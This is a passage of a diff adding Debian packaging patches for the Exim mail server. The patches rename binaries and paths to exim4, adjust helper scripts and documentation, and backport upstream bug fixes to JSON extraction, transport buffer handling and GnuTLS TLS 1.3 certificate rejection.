+- exim \-DABC ...
+- exim \-DABC= ...
++ exim4 \-DABC ...
++ exim4 \-DABC= ...
+ .sp
+ To include spaces in a macro definition item, quotes must be used. If you use
+ quotes, spaces are permitted around the macro name and the equals sign. For
+ example:
+ .sp
+- exim '\-D ABC = something' ...
++ exim4 '\-D ABC = something' ...
+ .sp
+ \fB\-D\fP may be repeated up to 10 times on a command line.
+ Only macro names up to 22 letters long can be set.
+@@ -938,8 +938,8 @@ never provoke a bounce. An empty sender
+ string, or as a pair of angle brackets with nothing between them, as in these
+ examples of shell commands:
+ .sp
+- exim \-f '<>' user@domain
+- exim \-f "" user@domain
++ exim4 \-f '<>' user@domain
++ exim4 \-f "" user@domain
+ .sp
+ In addition, the use of \fB\-f\fP is not restricted when testing a filter file
+ with \fB\-bf\fP or when testing or verifying addresses using the \fB\-bt\fP or
+@@ -1315,12 +1315,12 @@ other circumstances, they are ignored un
+ The \fB\-oMa\fP option sets the sender host address. This may include a port
+ number at the end, after a full stop (period). For example:
+ .sp
+- exim \-bs \-oMa 10.9.8.7.1234
++ exim4 \-bs \-oMa 10.9.8.7.1234
+ .sp
+ An alternative syntax is to enclose the IP address in square brackets,
+ followed by a colon and the port number:
+ .sp
+- exim \-bs \-oMa [10.9.8.7]:1234
++ exim4 \-bs \-oMa [10.9.8.7]:1234
+ .sp
+ The IP address is placed in the \fI$sender_host_address\fP variable, and the
+ port, if present, in \fI$sender_host_port\fP. If both \fB\-oMa\fP and \fB\-bh\fP
+@@ -1526,22 +1526,22 @@ If other commandline options specify an
+ will specify a queue to operate on.
+ For example:
+ .sp
+- exim \-bp \-qGquarantine
++ exim4 \-bp \-qGquarantine
+ mailq \-qGquarantine
+- exim \-qGoffpeak \-Rf @special.domain.example
++ exim4 \-qGoffpeak \-Rf @special.domain.example
+ .TP 10
+ \fB\-q\fP<\fIqflags\fP> <\fIstart id\fP> <\fIend id\fP>
+ When scanning the queue, Exim can be made to skip over messages whose ids are
+ lexically less than a given value by following the \fB\-q\fP option with a
+ starting message id. For example:
+ .sp
+- exim \-q 0t5C6f\-0000c8\-00
++ exim4 \-q 0t5C6f\-0000c8\-00
+ .sp
+ Messages that arrived earlier than 0t5C6f\-0000c8\-00 are not inspected. If a
+ second message id is given, messages whose ids are lexically greater than it
+ are also skipped. If the same id is given twice, for example,
+ .sp
+- exim \-q 0t5C6f\-0000c8\-00 0t5C6f\-0000c8\-00
++ exim4 \-q 0t5C6f\-0000c8\-00 0t5C6f\-0000c8\-00
+ .sp
+ just one delivery process is started, for that message. This differs from
+ \fB\-M\fP in that retry data is respected, and it also differs from \fB\-Mc\fP in
+@@ -1557,7 +1557,7 @@ starting a queue runner process at inter
+ single daemon process handles both functions. A common way of starting up a
+ combined daemon at system boot time is to use a command such as
+ .sp
+- /usr/exim/bin/exim \-bd \-q30m
++ /usr/sbin/exim4 \-bd \-q30m
+ .sp
+ Such a daemon listens for incoming SMTP calls, and also starts a queue runner
+ process every 30 minutes.
+@@ -1588,7 +1588,7 @@ regular expression; otherwise it is a li
+ If you want to do periodic queue runs for messages with specific recipients,
+ you can combine \fB\-R\fP with \fB\-q\fP and a time value. For example:
+ .sp
+- exim \-q25m \-R @special.domain.example
++ exim4 \-q25m \-R @special.domain.example
+ .sp
+ This example does a queue run for messages with recipients in the given domain
+ every 25 minutes. Any additional flags that are specified with \fB\-q\fP are
+@@ -1704,6 +1704,26 @@ under most shells.
+ .sp
+ .
+ .SH "SEE ALSO"
++.BR exicyclog (8),
++.BR exigrep (8),
++.BR exim_checkaccess (8),
++.BR exim_convert4r4 (8),
++.BR exim_db (8),
++.BR exim_dbmbuild (8),
++.BR exim_lock (8),
++.BR eximon (8),
++.BR exinext (8),
++.BR exiqgrep (8),
++.BR exiqsumm (8),
++.BR exiwhat (8),
++.BR update\-exim4.conf (8),
++.BR update\-exim4defaults (8),
++/usr/share/doc/exim4\-base/,
++/usr/share/doc/exim4\-base/README.Debian.[gz|html].
+ .rs
+ .sp
+ The full Exim specification, the Exim book, and the Exim wiki.
++
++.SH AUTHOR
++This manual page was provided with the upstream Exim source package.
++It was enhanced for the Debian GNU/Linux system.
diff --git a/debian/patches/32_exim4.dpatch b/debian/patches/32_exim4.dpatch
new file mode 100644
index 0000000..967869d
--- /dev/null
+++ b/debian/patches/32_exim4.dpatch
@@ -0,0 +1,106 @@
+Description: Accommodate source for installing exim as exim4.
+Author: Andreas Metzler <ametzler@debian.org>
+Origin: vendor
+Forwarded: not-needed
+Last-Update: 2018-12-12
+
+--- a/OS/Makefile-Linux
++++ b/OS/Makefile-Linux
+@@ -28,9 +28,9 @@ XLFLAGS=-L$(X11)/lib
+ X11_LD_LIB=$(X11)/lib
+
+ EXIWHAT_PS_ARG=ax
+-EXIWHAT_EGREP_ARG='/exim( |$$)'
++EXIWHAT_EGREP_ARG='/exim4( |$$)'
+ EXIWHAT_MULTIKILL_CMD=killall
+-EXIWHAT_MULTIKILL_ARG=exim
++EXIWHAT_MULTIKILL_ARG=exim4
+ EXIWHAT_KILL_SIGNAL=-USR1
+
+ # End
+--- a/src/exicyclog.src
++++ b/src/exicyclog.src
+@@ -149,7 +149,7 @@ done
+
+ st=' '
+ exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"`
+-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi
++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi
+
+ spool_directory=`$exim_path -C $config -bP spool_directory | sed 's/.*=[ ]*//'`
+
+--- a/src/exim_checkaccess.src
++++ b/src/exim_checkaccess.src
+@@ -52,7 +52,7 @@ done
+ # a tab to keep the tab in one place.
+
+ exim_path=`perl -ne 'chop;if (/^\s*exim_path\s*=\s*(.*)/){print "$1\n";last;}' $config`
+-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi
++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi
+
+
+ #########################################################################
+--- a/src/eximon.src
++++ b/src/eximon.src
+@@ -79,7 +79,7 @@ config=${EXIMON_EXIM_CONFIG-$config}
+
+ st=' '
+ EXIM_PATH=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"`
+-if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim; fi
++if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim4; fi
+
+ SPOOL_DIRECTORY=`$EXIM_PATH -C $config -bP spool_directory | sed 's/.*=[ ]*//'`
+ LOG_FILE_PATH=`$EXIM_PATH -C $config -bP log_file_path | sed 's/.*=[ ]*//'`
+--- a/src/exinext.src
++++ b/src/exinext.src
+@@ -97,7 +97,7 @@ if [ "$exim_path" = "" ]; then
+ exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"`
+ fi
+
+-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi
++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi
+ spool_directory=`$exim_path $eximmacdef -C $config -bP spool_directory | sed 's/.*=[ ]*//'`
+ qualify_domain=`$exim_path $eximmacdef -C $config -bP qualify_domain | sed 's/.*=[ ]*//'`
+
+@@ -181,7 +181,7 @@ perl - $exim_path "$eximmacdef" $argone
+
+ # Run exim_dumpdb to get out the retry data and pick off what we want
+
+- open(DATA, "${exim}_dumpdb $spool retry |") ||
++ open(DATA, "/usr/sbin/exim_dumpdb $spool retry |") ||
+ die "can't run exim_dumpdb";
+
+ while (<DATA>)
+--- a/src/exiqgrep.src
++++ b/src/exiqgrep.src
+@@ -24,7 +24,7 @@ use Getopt::Std;
+ use File::Basename;
+
+ # Have this variable point to your exim binary.
+-my $exim = 'BIN_DIRECTORY/exim';
++my $exim = 'BIN_DIRECTORY/exim4';
+ my $eargs = '-bpu';
+ my %id;
+ my %opt;
+--- a/src/exiwhat.src
++++ b/src/exiwhat.src
+@@ -98,7 +98,7 @@ fi
+
+ st=' '
+ exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"`
+-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi
++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi
+ spool_directory=`$exim_path -C $config -bP spool_directory | sed "s/.*=[ ]*//"`
+ process_log_path=`$exim_path -C $config -bP process_log_path | sed "s/.*=[ ]*//"`
+
+--- a/src/globals.c
++++ b/src/globals.c
+@@ -906,7 +906,7 @@ const uschar *event_name = NULL;
+
+
+ gid_t exim_gid = EXIM_GID;
+-uschar *exim_path = US BIN_DIRECTORY "/exim"
++uschar *exim_path = US BIN_DIRECTORY "/exim4"
+ "\0<---------------Space to patch exim_path->";
+ uid_t exim_uid = EXIM_UID;
+ int expand_level = 0; /* Nesting depth, indent for debug */
diff --git a/debian/patches/33_eximon.binary.dpatch b/debian/patches/33_eximon.binary.dpatch
new file mode 100755
index 0000000..bc78cdc
--- /dev/null
+++ b/debian/patches/33_eximon.binary.dpatch
@@ -0,0 +1,18 @@
+#! /bin/sh /usr/share/dpatch/dpatch-run
+## 33_eximon.binary.dpatch by Andreas Piesk
+##
+## All lines beginning with `## DP:' are a description of the patch.
+## DP: eximon.bin is installed in /usr/lib/exim4/ and not in path.
+
+diff -NurBbp exim-4.80.orig/OS/eximon.conf-Default exim-4.80/OS/eximon.conf-Default
+--- exim-4.80.orig/OS/eximon.conf-Default 2012-05-18 05:04:36.000000000 +0200
++++ exim-4.80/OS/eximon.conf-Default 2012-05-18 19:10:59.000000000 +0200
+@@ -5,7 +5,7 @@
+ # The name of the eximon binary, usually the same as the eximon script,
+ # with .bin stuck on the end.
+
+-EXIMON_BINARY="${EXIMON_BINARY-$0.bin}"
++EXIMON_BINARY="/usr/lib/exim4/${EXIMON_BINARY-${0##*/}.bin}"
+
+ # The remaining parameters are values likely to be changed to suit the
+ # user's taste. They are documented in the EDITME file.
diff --git a/debian/patches/34_eximstatsmanpage.dpatch b/debian/patches/34_eximstatsmanpage.dpatch
new file mode 100755
index 0000000..3245965
--- /dev/null
+++ b/debian/patches/34_eximstatsmanpage.dpatch
@@ -0,0 +1,20 @@
+Description: Add note about installing perl-modules on Debian to
+ generated manpage
+Author: Andreas Metzler <ametzler@debian.org>
+Origin: vendor
+Forwarded: not-needed
+Last-Update: 2013-09-28
+
+--- exim4-4.82~rc1.orig/src/eximstats.src
++++ exim4-4.82~rc1/src/eximstats.src
+@@ -501,6 +501,10 @@ To install these, download and unpack th
+ make test
+ make install
+
++On B<Debian GNU/Linux> you can use
++C<apt-get install libgd-perl libgd-text-perl libgd-graph-perl>
++instead.
++
+ =item B<-chartdir>I <dir>
+
+ Create the charts in the directory <dir>
diff --git a/debian/patches/35_install.dpatch b/debian/patches/35_install.dpatch
new file mode 100755
index 0000000..d0ab602
--- /dev/null
+++ b/debian/patches/35_install.dpatch
@@ -0,0 +1,49 @@
+Description: Exim's installation scripts install the binary as
+ exim-<version> - disable this feature.
+Author: Andreas Metzler <ametzler@debian.org>
+Origin: vendor
+Forwarded: not-needed
+Last-Update: 2016-09-25
+
+--- a/scripts/exim_install
++++ b/scripts/exim_install
+@@ -221,6 +221,8 @@ while [ $# -gt 0 ]; do
+ version=exim-`$exim 2>/dev/null | \
+ awk '/Exim version/ { OFS=""; print $3,"-",substr($4,2,length($4)-1) }'`${EXE}
+
++ version=exim
++
+ if [ "${version}" = "exim-${EXE}" ]; then
+ echo $com ""
+ echo $com "*** Could not run $exim to find version number ***"
+@@ -370,10 +372,8 @@ done
+
+
+
+-# If there is no configuration file, install the default, modifying it to refer
+-# to the configured system aliases file. If there is no setting for
+-# SYSTEM_ALIASES_FILE, use the traditional /etc/aliases. If the file does not
+-# exist, install a default (dummy) for that too.
++# Install default configuration file
++# This is a local Debian modification.
+
+ # However, if CONFIGURE_FILE specifies a list of files, skip this code.
+
+@@ -396,7 +396,7 @@ elif [ ! -f ${CONFIGURE_FILE} ]; then
+ ${real} ${MKDIR} -p `${DIRNAME} ${CONFIGURE_FILE}`
+
+ echo sed -e '\\'
+- echo " \"/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'${ACTUAL_SYSTEM_ALIASES_FILE}'\"" '\\'
++ echo " \"/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'/etc/aliases'\"" '\\'
+ echo " ../src/configure.default > \${CONFIGURE_FILE}"
+
+ # I can't find a way of writing this using the ${real} feature because
+@@ -405,7 +405,7 @@ elif [ ! -f ${CONFIGURE_FILE} ]; then
+
+ if [ "$real" = "" ] ; then
+ sed -e \
+- "/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'${ACTUAL_SYSTEM_ALIASES_FILE}'" \
++ "/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'/etc/aliases'" \
+ ../src/configure.default > ${CONFIGURE_FILE}
+ else
+ true
diff --git a/debian/patches/60_convert4r4.dpatch b/debian/patches/60_convert4r4.dpatch
new file mode 100755
index 0000000..290b913
--- /dev/null
+++ b/debian/patches/60_convert4r4.dpatch
@@ -0,0 +1,41 @@
+Description: Add a warning message to convert4r4
+Author: Marc Haber <mh+debian-packages@zugschlus.de>
+Origin: vendor
+Forwarded: no
+Last-Update: 2013-09-28
+
+--- a/src/convert4r4.src
++++ b/src/convert4r4.src
+@@ -666,6 +666,32 @@ return defined $main{$_[0]} && $main{$_[
+
+ print STDERR "Runtime configuration file converter for Exim release 4.\n";
+
++if( !defined $ENV{"CONVERT4R4"} || $ENV{"CONVERT4R4"} ne "I understand this is an unsupported tool" ) {
++
++ print STDERR <<EOF;
++convert4r4 on Debian GNU/Linux deprecated
++
++This tool is unsupported by upstream and discouraged by the Debian Exim 4
++maintainers. It has multiple known bugs, and you need to manually
++review its output after using it anyway. Please seriously consider complete
++manual regeneration of the Exim 4 configuration, preferably by using the new
++Debconf interface to Exim 4.
++
++If you decide to ignore this advice and to use this script anyway,
++setting the environment variable CONVERT4R4 to the value
++\"I understand this is an unsupported tool\"
++will allow you to run the script. If you find bugs, you get to keep
++the pieces. Please do not file bugs against this script in the Debian
++BTS without providing a patch fixing the bugs, and please do not
++expect the upstream exim-users mailing list to answer questions.
++
++Kind regards
++the Debian Exim4 Maintainers
++EOF
++
++ exit 1;
++}
++
+ $transport_start = $director_start = $router_start = $retry_start
+ = $rewrite_start = $auth_start = 999999;
+
diff --git a/debian/patches/67_unnecessaryCopt.diff b/debian/patches/67_unnecessaryCopt.diff
new file mode 100644
index 0000000..daae1e4
--- /dev/null
+++ b/debian/patches/67_unnecessaryCopt.diff
@@ -0,0 +1,69 @@
+Description: Stop using exim's -C option in utility scripts (exiwhat
+ et al.) since this breaks with ALT_CONFIG_PREFIX.
+Author: Andreas Metzler <ametzler@bebt.de>
+Forwarded: http://bugs.exim.org/show_bug.cgi?id=1045
+Last-Update: 2018-12-31
+
+--- a/src/exicyclog.src
++++ b/src/exicyclog.src
+@@ -151,10 +151,10 @@ st=' '
+ exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"`
+ if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi
+
+-spool_directory=`$exim_path -C $config -bP spool_directory | sed 's/.*=[ ]*//'`
++spool_directory=`$exim_path -bP spool_directory | sed 's/.*=[ ]*//'`
+
+ if [ "$log_file_path" = "" ] ; then
+- log_file_path=`$exim_path -C $config -bP log_file_path | sed 's/.*=[ ]*//'`
++ log_file_path=`$exim_path -bP log_file_path | sed 's/.*=[ ]*//'`
+ fi
+
+ # If log_file_path contains only "syslog" then no Exim log files are in use.
+--- a/src/eximon.src
++++ b/src/eximon.src
+@@ -81,8 +81,8 @@ st=' '
+ EXIM_PATH=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"`
+ if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim4; fi
+
+-SPOOL_DIRECTORY=`$EXIM_PATH -C $config -bP spool_directory | sed 's/.*=[ ]*//'`
+-LOG_FILE_PATH=`$EXIM_PATH -C $config -bP log_file_path | sed 's/.*=[ ]*//'`
++SPOOL_DIRECTORY=`$EXIM_PATH -bP spool_directory | sed 's/.*=[ ]*//'`
++LOG_FILE_PATH=`$EXIM_PATH -bP log_file_path | sed 's/.*=[ ]*//'`
+
+ # If log_file_path is "syslog" then logging is only to syslog, and the monitor
+ # is unable to display a log tail unless EXIMON_LOG_FILE_PATH is set to tell
+--- a/src/exinext.src
++++ b/src/exinext.src
+@@ -98,8 +98,8 @@ if [ "$exim_path" = "" ]; then
+ fi
+
+ if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi
+-spool_directory=`$exim_path $eximmacdef -C $config -bP spool_directory | sed 's/.*=[ ]*//'`
+-qualify_domain=`$exim_path $eximmacdef -C $config -bP qualify_domain | sed 's/.*=[ ]*//'`
++spool_directory=`$exim_path $eximmacdef -bP spool_directory | sed 's/.*=[ ]*//'`
++qualify_domain=`$exim_path $eximmacdef -bP qualify_domain | sed 's/.*=[ ]*//'`
+
+ # Now do the job. Perl uses $ so frequently that we don't want to have to
+ # escape them all from the shell, so pass in shell variable values as
+@@ -144,7 +144,7 @@ perl - $exim_path "$eximmacdef" $argone
+ # Run Exim to get a list of hosts for the given domain; for
+ # each one construct the appropriate retry key.
+
+- open(LIST, "$exim -C $config -v -bt $address |") ||
++ open(LIST, "$exim -v -bt $address |") ||
+ die "can't run exim to route $address";
+
+ while (<LIST>)
+--- a/src/exiwhat.src
++++ b/src/exiwhat.src
+@@ -99,8 +99,8 @@ fi
+ st=' '
+ exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"`
+ if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi
+-spool_directory=`$exim_path -C $config -bP spool_directory | sed "s/.*=[ ]*//"`
+-process_log_path=`$exim_path -C $config -bP process_log_path | sed "s/.*=[ ]*//"`
++spool_directory=`$exim_path -bP spool_directory | sed "s/.*=[ ]*//"`
++process_log_path=`$exim_path -bP process_log_path | sed "s/.*=[ ]*//"`
+
+ # The file that Exim writes when sent the SIGUSR1 signal is specified by
+ # the process_log_path option. If that is not defined, Exim uses the file
diff --git a/debian/patches/70_remove_exim-users_references.dpatch b/debian/patches/70_remove_exim-users_references.dpatch
new file mode 100755
index 0000000..9efe04f
--- /dev/null
+++ b/debian/patches/70_remove_exim-users_references.dpatch
@@ -0,0 +1,37 @@
+Description: Point Debian users to Debian specific ML.
+Author: Marc Haber <mh+debian-packages@zugschlus.de>
+Last-Update: 2018-12-31
+
+--- a/README
++++ b/README
+@@ -14,8 +14,16 @@ from Exim 3, though the basic structure
+ older book may be helpful for the background, but a lot of the detail has
+ changed, so it is likely to be confusing to newcomers.
+
+-There is a website at https://www.exim.org; this contains details of the
+-mailing list exim-users@exim.org.
++Information about the way Debian has built the binary packages is
++obtainable in /usr/share/doc/exim4-base/README.Debian.gz, and there
++is a Debian-centered mailing list,
++pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
++questions there, and only write to the upstream exim-users mailing
++list if you are sure that your question is not Debian-specific. You
++can find the subscription web page on
++http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users
++
++There is a website at https://www.exim.org/.
+
+ A copy of the Exim FAQ should be available from the same source that you used
+ to obtain the Exim distribution. Additional formats for the documentation
+--- a/src/eximstats.src
++++ b/src/eximstats.src
+@@ -537,8 +537,7 @@ about how to create charts from the tabl
+
+ =head1 AUTHOR
+
+-There is a website at https://www.exim.org - this contains details of the
+-mailing list exim-users@exim.org.
++There is a website at https://www.exim.org/.
+
+ =head1 TO DO
+
diff --git a/debian/patches/75_01-Fix-json-extract-operator-for-unfound-case.patch b/debian/patches/75_01-Fix-json-extract-operator-for-unfound-case.patch
new file mode 100644
index 0000000..a0978af
--- /dev/null
+++ b/debian/patches/75_01-Fix-json-extract-operator-for-unfound-case.patch
@@ -0,0 +1,69 @@
+From b2734f7b45111f9b7de790c7b334a2ece47675b5 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Sat, 9 Feb 2019 16:56:59 +0000
+Subject: [PATCH 1/7] Fix json extract operator for unfound case
+
+(cherry picked from commit e73798976812e652320f096870359ef35ed069ff)
+---
+ doc/doc-docbook/spec.xfpt | 4 ++++
+ src/expand.c | 13 ++++++++-----
+ test/scripts/0000-Basic/0002 | 3 +++
+ test/stdout/0002 | 3 +++
+ 4 files changed, 18 insertions(+), 5 deletions(-)
+
+--- a/src/expand.c
++++ b/src/expand.c
+@@ -3901,7 +3901,8 @@ return NULL;
+ /* Pull off the leading array or object element, returning
+ a copy in an allocated string. Update the list pointer.
+
+-The element may itself be an abject or array.
++The element may itself be an object or array.
++Return NULL when the list is empty.
+ */
+
+ uschar *
+@@ -3923,6 +3924,7 @@ for (item = s;
+ case '}': object_depth--; break;
+ }
+ *list = *s ? s+1 : s;
++if (item == s) return NULL;
+ item = string_copyn(item, s - item);
+ DEBUG(D_expand) debug_printf_indent(" json ele: '%s'\n", item);
+ return US item;
+@@ -5790,10 +5792,11 @@ while (*s != 0)
+ }
+ while (field_number > 0 && (item = json_nextinlist(&list)))
+ field_number--;
+- s = item;
+- lookup_value = s;
+- while (*s) s++;
+- while (--s >= lookup_value && isspace(*s)) *s = '\0';
++ if ((lookup_value = s = item))
++ {
++ while (*s) s++;
++ while (--s >= lookup_value && isspace(*s)) *s = '\0';
++ }
+ }
+ else
+ {
+--- a/doc/spec.txt
++++ b/doc/spec.txt
+@@ -8776,6 +8776,8 @@ ${extract json{<key>}{<string1>}{<string
+ The braces, commas and colons, and the quoting of the member name are
+ required; the spaces are optional. Matching of the key against the member
+ names is done case-sensitively.
++ If a returned value is a JSON string, it retains its leading and
++ trailing quotes.
+
+ The results of matching are handled as above.
+
+@@ -8813,6 +8815,8 @@ ${extract json{<number>}}{<string1>}{<st
+
+ Field selection and result handling is as above; there is no choice of
+ field separator.
++ If a returned value is a JSON string, it retains its leading and
++ trailing quotes.
+
+ ${filter{<string>}{<condition>}}
+
diff --git a/debian/patches/75_02-Fix-transport-buffer-size-handling.patch b/debian/patches/75_02-Fix-transport-buffer-size-handling.patch
new file mode 100644
index 0000000..a96350b
--- /dev/null
+++ b/debian/patches/75_02-Fix-transport-buffer-size-handling.patch
@@ -0,0 +1,52 @@
+From 1cfa7822ca8928f95160df8742af11fff888ae7e Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Tue, 12 Feb 2019 16:52:51 +0000
+Subject: [PATCH 3/7] Fix transport buffer size handling Broken-by: 59932f7dcd
+
+(cherry picked from commit 05bf16f6217e93594929c8bbbbbc852caf3ed374)
+---
+ doc/ChangeLog | 7 +++++++
+ src/transport.c | 4 ++--
+ 2 files changed, 9 insertions(+), 2 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 7da07ad4..66c8a7a1 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -5,6 +5,13 @@ affect Exim's operation, with an unchanged configuration file. For new
+ options, and new features, see the NewStuff file next to this ChangeLog.
+
+
++Since version 4.92
++------------------
++
++JH/06 Fix buggy handling of autoreply bounce_return_size_limit, and a possible
++ buffer overrun for (non-chunking) other transports.
++
++
+ Exim version 4.92
+ -----------------
+
+diff --git a/src/transport.c b/src/transport.c
+index 8ccdd038..a069b883 100644
+--- a/src/transport.c
++++ b/src/transport.c
+@@ -1115,13 +1115,13 @@ DEBUG(D_transport)
+
+ if (!(tctx->options & topt_no_body))
+ {
+- int size = size_limit;
++ unsigned long size = size_limit > 0 ? size_limit : ULONG_MAX;
+
+ nl_check_length = abs(nl_check_length);
+ nl_partial_match = 0;
+ if (lseek(deliver_datafile, SPOOL_DATA_START_OFFSET, SEEK_SET) < 0)
+ return FALSE;
+- while ( (len = MAX(DELIVER_IN_BUFFER_SIZE, size)) > 0
++ while ( (len = MIN(DELIVER_IN_BUFFER_SIZE, size)) > 0
+ && (len = read(deliver_datafile, deliver_in_buffer, len)) > 0)
+ {
+ if (!write_chunk(tctx, deliver_in_buffer, len))
+--
+2.20.1
+
diff --git a/debian/patches/75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch b/debian/patches/75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch
new file mode 100644
index 0000000..6db6f83
--- /dev/null
+++ b/debian/patches/75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch
@@ -0,0 +1,42 @@
+From cb25b75af850d664fc005d24fbad0e58bf79d4c7 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Thu, 14 Feb 2019 17:14:34 +0000
+Subject: [PATCH 5/7] Fix info on using local_scan() in the default Makefile
+
+Broken-by: 9723f96673
+(cherry picked from commit 882bc1704d33aa34873e3a0f72e657b0cc2985e5)
+---
+ OS/Makefile-Default | 10 ++++++++--
+ 1 file changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/OS/Makefile-Default b/OS/Makefile-Default
+index b3990fe8..41a4dbbd 100644
+--- a/OS/Makefile-Default
++++ b/OS/Makefile-Default
+@@ -232,6 +232,11 @@ RANLIB=ranlib
+ EXIM_CHMOD=@true
+
+
++# If you want to use local_scan() at all, the support code must be included
++# by uncommenting this line.
++
++# HAVE_LOCAL_SCAN=yes
++
+ # LOCAL_SCAN_SOURCE defines the file in which the function local_scan() is
+ # defined. This provides the administrator with a hook for including C code
+ # for scanning incoming mails. The path that is defined must be relative to
+@@ -239,8 +244,9 @@ EXIM_CHMOD=@true
+
+ # LOCAL_SCAN_SOURCE=Local/local_scan.c
+
+-# The default setting points to a template function that doesn't actually do
+-# any scanning, but just accepts the message.
++# A very simple example points to a template function that doesn't actually do
++# any scanning, but just accepts the message. A compilable file must be
++# included in the build even if HAVE_LOCAL_SCAN is not defined.
+
+ LOCAL_SCAN_SOURCE=src/local_scan.c
+
+--
+2.20.1
+
diff --git a/debian/patches/75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch b/debian/patches/75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch
new file mode 100644
index 0000000..c45f6aa
--- /dev/null
+++ b/debian/patches/75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch
@@ -0,0 +1,420 @@
+From c15523829ba17cce5829e2976aa1ff928965d948 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Sat, 16 Feb 2019 12:59:23 +0000
+Subject: [PATCH 7/7] GnuTLS: Fix client detection of server reject of client
+ cert under TLS1.3
+
+(cherry picked from commit fc243e944ec00b59b75f41d07494116f925d58b4)
+---
+ doc/ChangeLog | 7 +++
+ src/deliver.c | 2 +-
+ src/smtp_out.c | 10 +++--
+ src/tls-gnu.c | 23 +++-------
+ src/transports/lmtp.c | 3 +-
+ src/transports/smtp.c | 81 +++++++++++++++++++++++++++--------
+ test/confs/2027 | 8 ++--
+ test/confs/5652 | 1 +
+ test/confs/5821 | 2 +-
+ test/log/2027 | 2 +-
+ test/runtest | 14 ++++++
+ test/scripts/2000-GnuTLS/2027 | 2 +
+ 12 files changed, 111 insertions(+), 44 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 66c8a7a1..867a1d8a 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -11,6 +11,13 @@ Since version 4.92
+ JH/06 Fix buggy handling of autoreply bounce_return_size_limit, and a possible
+ buffer overrun for (non-chunking) other transports.
+
++JH/07 GnuTLS: Our use of late (post-handshake) certificate verification, under
++ TLS1.3, means that a server rejecting a client certificate is not visible
++ to the client until the first read of encrypted data (typically the
++ response to EHLO). Add detection for that case and treat it as a failed
++ TLS connection attempt, so that the normal retry-in-clear can work (if
++ suitably configured).
++
+
+ Exim version 4.92
+ -----------------
+diff --git a/src/deliver.c b/src/deliver.c
+index 664d0045..e1799411 100644
+--- a/src/deliver.c
++++ b/src/deliver.c
+@@ -7433,7 +7433,7 @@ if (addr_senddsn)
+
+ tctx.u.fd = fd;
+ tctx.options = topt_add_return_path | topt_no_body;
+- /*XXX hmm, retval ignored.
++ /*XXX hmm, FALSE(fail) retval ignored.
+ Could error for any number of reasons, and they are not handled. */
+ transport_write_message(&tctx, 0);
+ fflush(f);
+diff --git a/src/smtp_out.c b/src/smtp_out.c
+index 9bd90c77..b194e804 100644
+--- a/src/smtp_out.c
++++ b/src/smtp_out.c
+@@ -688,20 +688,22 @@ Returns: TRUE if a valid, non-error response was received; else FALSE
+ /*XXX could move to smtp transport; no other users */
+
+ BOOL
+-smtp_read_response(void * sx0, uschar *buffer, int size, int okdigit,
++smtp_read_response(void * sx0, uschar * buffer, int size, int okdigit,
+ int timeout)
+ {
+ smtp_context * sx = sx0;
+-uschar *ptr = buffer;
+-int count = 0;
++uschar * ptr = buffer;
++int count = 0, rc;
+
+ errno = 0; /* Ensure errno starts out zero */
+
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
+ if (sx->pending_BANNER || sx->pending_EHLO)
+- if (smtp_reap_early_pipe(sx, &count) != OK)
++ if ((rc = smtp_reap_early_pipe(sx, &count)) != OK)
+ {
+ DEBUG(D_transport) debug_printf("failed reaping pipelined cmd responsess\n");
++ buffer[0] = '\0';
++ if (rc == DEFER) errno = ERRNO_TLSFAILURE;
+ return FALSE;
+ }
+ #endif
+diff --git a/src/tls-gnu.c b/src/tls-gnu.c
+index c404dc29..de2d70c0 100644
+--- a/src/tls-gnu.c
++++ b/src/tls-gnu.c
+@@ -229,7 +229,7 @@ static gnutls_dh_params_t dh_server_params = NULL;
+
+ static const int ssl_session_timeout = 200;
+
